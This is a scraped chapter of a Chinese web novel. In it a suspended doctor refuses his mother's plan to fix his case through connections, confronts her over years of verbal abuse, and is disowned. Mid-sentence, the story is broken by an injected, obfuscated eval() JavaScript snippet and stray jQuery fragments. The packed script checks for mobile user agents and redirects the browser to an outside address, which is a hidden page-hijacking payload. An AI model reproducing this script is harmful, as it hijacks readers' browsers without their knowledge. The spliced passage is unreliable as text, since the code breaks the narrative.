11. 第 11 章
作品:《逃离雪夜[双向救赎]》 孟俪虽已年过五十,但保养得极好,一身职业穿搭十分干练,看不出几许风霜。
她头发梳得整齐,规规矩矩地盘在脑后。身材苗条,气质优雅,犹能从中窥见年轻时的风采,是位十足的中年美人。
只是这位中年美人现下并不怎么愉悦。
孟决明目光微沉。
他低声对电话另一边的姜颂说:“我这里有点事需要处理一下,待会儿我再给你打过去。”
“等一下,孟医生,我还有两句话要告诉你。”
“你说。”
姜颂语气很是坚定:“第一句,你没有错。”
“第二句,你一定要注意安全。”
她语速不疾不徐,每一个字落到他耳中都带着极重的分量。
短短的两句话让他无处安放的情绪得到了片刻的安抚。
“我希望你牢牢把这两句话记在心里,行吗?”
“我会的。不要担心我,真的没事。”孟决明最后对她说。
挂了电话,孟决明向母亲看去。
该来的迟早会来,狂风暴雨不会因为花朵脆弱就对它心怀慈悲。
孟俪就端坐在那里看着他走来,隔着一段距离冷声问他:“这些都是什么?”
她面前的茶几上零散放着四个其貌不扬的姜饼人,其中一个已经头身分离,周围散落着一些粉末。
孟决明的嘴唇抿成了一条直线。
“我有时候真的蛮佩服你的,孟决明。大难临头了,你居然还有闲心在这玩物丧志?我真不知道你每天脑子里都在想些什么东西!”
孟决明努力忽略来自母亲的言语暴力,他坐到对面,问道:“妈,您找我有什么事?”
孟母没好气地冷哼一声,但也不卖关子,直奔正题。
“明天有个饭局,高局的女儿也在。”
话很直白,却也很含蓄地省略了一些彼此心知肚明的东西。
成年人的世界里,饭局在多数情况下都不只是吃饭这么简单,总是带着各种各样的目的。
“你知道的,她一直对你很有好感,你过去见见。如果你们能成,你停职的事也就能解决了。”
孟决明看着母亲的脸庞,久久没说话。
“不用了,在我眼里,她只是我负责的病人。出了院,我和她就没有任何关系了。”
孟母没想到会被拒绝,诧异道:“不用?那你这事打算怎么办,说来我听听?”
“走正规程序,到法院递诉状。”孟决明抬眼,一字一句地说。
下一秒,孟母笑得轻蔑:“你在说梦话吗孟决明?”
“打官司需要多长时间不用我告诉你吧,有更简单的办法不用,你非要选那个蠢办法是吗?”
“可我能不能复职不是最重要的。”
“那什么重要你告诉我?”
“病人的信任。”孟决明缓声道,“如果这件事不能光明正大地解决,那么即使我明天就复职,谁还放心让我治病呢?”
他固然可以走捷径,用一些上不了台面的手段处理这件事,但,那真的是他想要的吗?
以后所有的病人都会对着他指指点点,他的白大褂就永远都不再干净了。
孟俪却不以为然:“你懂什么?你以为你把调查结果明明白白地甩在别人脸上,别人就会相信你了?”
孟决明听到这句话,默了片刻。
少顷,他说:“我知道不管怎么样,都永远会有人质疑,但走正常程序复职我最起码心安理得。”
“妈,我知道您是为了我好,但是这件事我有我自己的想法,所有的后果我自己能承担,我也希望您……能够不要总是干涉我的事情。”
孟母像是听见了什么天大的笑话,面露讥讽道:“以为自己可光明磊落,可清高、可正直了是不是?你脑子是不是进水了,这么大的人了,居然还这么天真!”
“我不是天真。”孟决明迎着母亲的愤怒,分毫不退,“我只是不想在我的职业生涯里永远背着这个污点,我明明什么都没有做错,不需要用人情关系给自己洗白。”
孟俪听到这里“噌”地一下从沙发上站起来,声调高得吓人:“你没做错?那难道是我错了?是我让你接那台手术的是吗?”
孟决明也慢慢站了起来。
他早已比母亲高出许多,要看着她也得低下头。
可是在母亲面前,他仿佛永远都是当年那个因为打架被她当着老师同学的面骂得狗血淋头的少年。
当时的他沉默不语,而如今的他想为自己辩解一次。
“我是医生,治病救人是我的职责。接下那台手术,我没有任何问题。”
“呵。”
“妈。”他闭上眼,紧紧攥着拳。
“有件事我想问问您。”眼眶发酸发热,他忍了又忍,将泪意止住,再次抬头迎上母亲的目光,“这么多年了,我一直不明白。”
“您为什么总是这样对我?”
说完这句话,他本以为自己会如释负重,却没想到手抖得更厉害,他只能将拳头攥得更紧,强迫自己冷静。
孟俪闻言冷眼看他,反问:“我哪样对你了?”
孟决明竭力压抑不断上涌的酸意,别开了目光。
他不敢再看着母亲的眼睛了。
于是,他垂下眼,低声开口:“为什么,我好像无论做什么事情,到了您这里,永远都得不到肯定。”
“考试成绩不理想您会一直贬低我,我以为我考到第一名您就会高兴,可是直到我博士毕业,您也没有肯定过我一次。”
“跟同学闹矛盾打架,您也不问原因,第一时间把错先归到我身上。”
“直到现在,我工作了,您还是这样。”他的指甲嵌进掌心,声音逐渐发涩:“我不理解,您为什么总是对我这么苛刻。我想得到您的认同,哪怕一次。”
“可是,一次都没有。您永远只会否定我。”
多年来的委屈,在这一刻终于说出口。
他曾经无数次在脑海里上演过今天的的场面,无数次地幻想过当这些难以言喻的情绪化作语言,说给母亲听的时候,她会是什么反应?
更加愤怒?还是从此对他彻底失望?
然而当他看清母亲脸上的神色时,那比任何结果都让他难以接受。
她只是勾着唇角,语气轻飘飘的:“你有什么地方值得我肯定的?你上学是为了我还是打架是学生应该做的?你要我肯定你什么呢?”
“你不说我还忘了,这次闹事的家属就是高中跟你打架的同学吧?”孟母讽道,“我说什么来着,当年我就让你别管别人的闲事,你不听,一直到了今天你都不长记性,往同一个坑里
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17008029|194113||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
跳,那怪得了谁?”
他明白了,她根本不在意。
他所有的痛苦在母亲这里似乎全部不值一提,只配被她这样轻描淡写地揭过,没有留下一点点的痕迹。
他像是被人打了一闷棍,伤处钝钝地痛着。
孟决明缄默不言,孟俪自顾自地翻旧账:“你从来都是和你爸一样自以为是,对我说的话不屑一顾,结果怎么样?不还是我——”
“是因为我爸,对吗?”
孟决明突如其来话语令孟俪的话语戛然而止。
他淡淡地问:“是因为我爸对不起您,所以您把对他的怨气发泄在我身上,对吗?”
孟俪的嘴唇微微颤抖着,满脸的不可置信。
“我没有。”她不断地调整呼吸,情绪却肉眼可见地愈发激动,“我没有!别跟我提他!”
孟决明早就有过这个猜想。
可当这个猜想被验证了,他的心里反而更加难过。
他轻声说:“妈,您记得吗,当时为了争取我的抚养权,您急得焦头烂额,头发大把大把地掉。您几乎每天都出去应酬,就为了托关系找人脉,赢过那场官司。当时我才六岁,我觉得您好辛苦,如果不是因为爱我才不会那样拼命。”
“所以这么多年我一直不理解您为什么花了那么大力气把我抢过来,却总是用语言暴力伤害我。”他停顿下来,自嘲地笑道,“现在我明白了,您是为了跟他争那口气,我只是一个您用来刺激他的工具,对吗?”
母子面对着面,方才还喋喋不休的两人眼下谁也再说不出一句话,眼眶都泛着红。
仿佛过了很久,孟俪抬手抹去脸上的泪,却没有给他一个答案。
“你不理解我也没有办法。”
她动作利落地拿了沙发上的包,朝着门口的方向走了几步,又停下来。
她背对着他说:“你今后愿意怎样就怎样,我就当没有生你这个儿子,你也当没有我这个妈。”
门“砰”地一声关上。
孟决明站在那里,目光在门口停滞了很久很久。
眼眶里一直打转的泪在他别过目光的那一刻瞬间滑落。
*
姜颂心里装着事,单子做着做着就走神。
最终,她放下手里的单子,打开手机翻看微博评论,只看了几眼就觉得心里堵得慌,不忍再看。
放下手机,她又忍不住想,孟医生看到这些攻击会怎么想呢?
连剩一点菜都会让他反复怀疑自己厨艺的人,看到这些心里会有多难受,她根本不敢去想。
她胡思乱想的时候,接到了孟决明的语音电话。
姜颂几次张了张嘴又闭上,一时之间不知如何开口。
而那边的孟决明也罕见地没有说话。
这电话像是没有接通一般,安静至极。
许久后,姜颂才试探着出声问:“你还好吗?”
她听见电话那头的人勉强笑了一声:“我没事。”
可他不知道他的声音有些沙哑,尾调还带着一丝不易察觉的鼻音。
怎么可能没事呢。
姜颂紧紧抿着嘴唇,声音不自觉地低下来:“真的吗?”
又是一阵缄默。
“对不起。”他的声音变得很低很轻,“我说谎。”
“我其实很不好。”

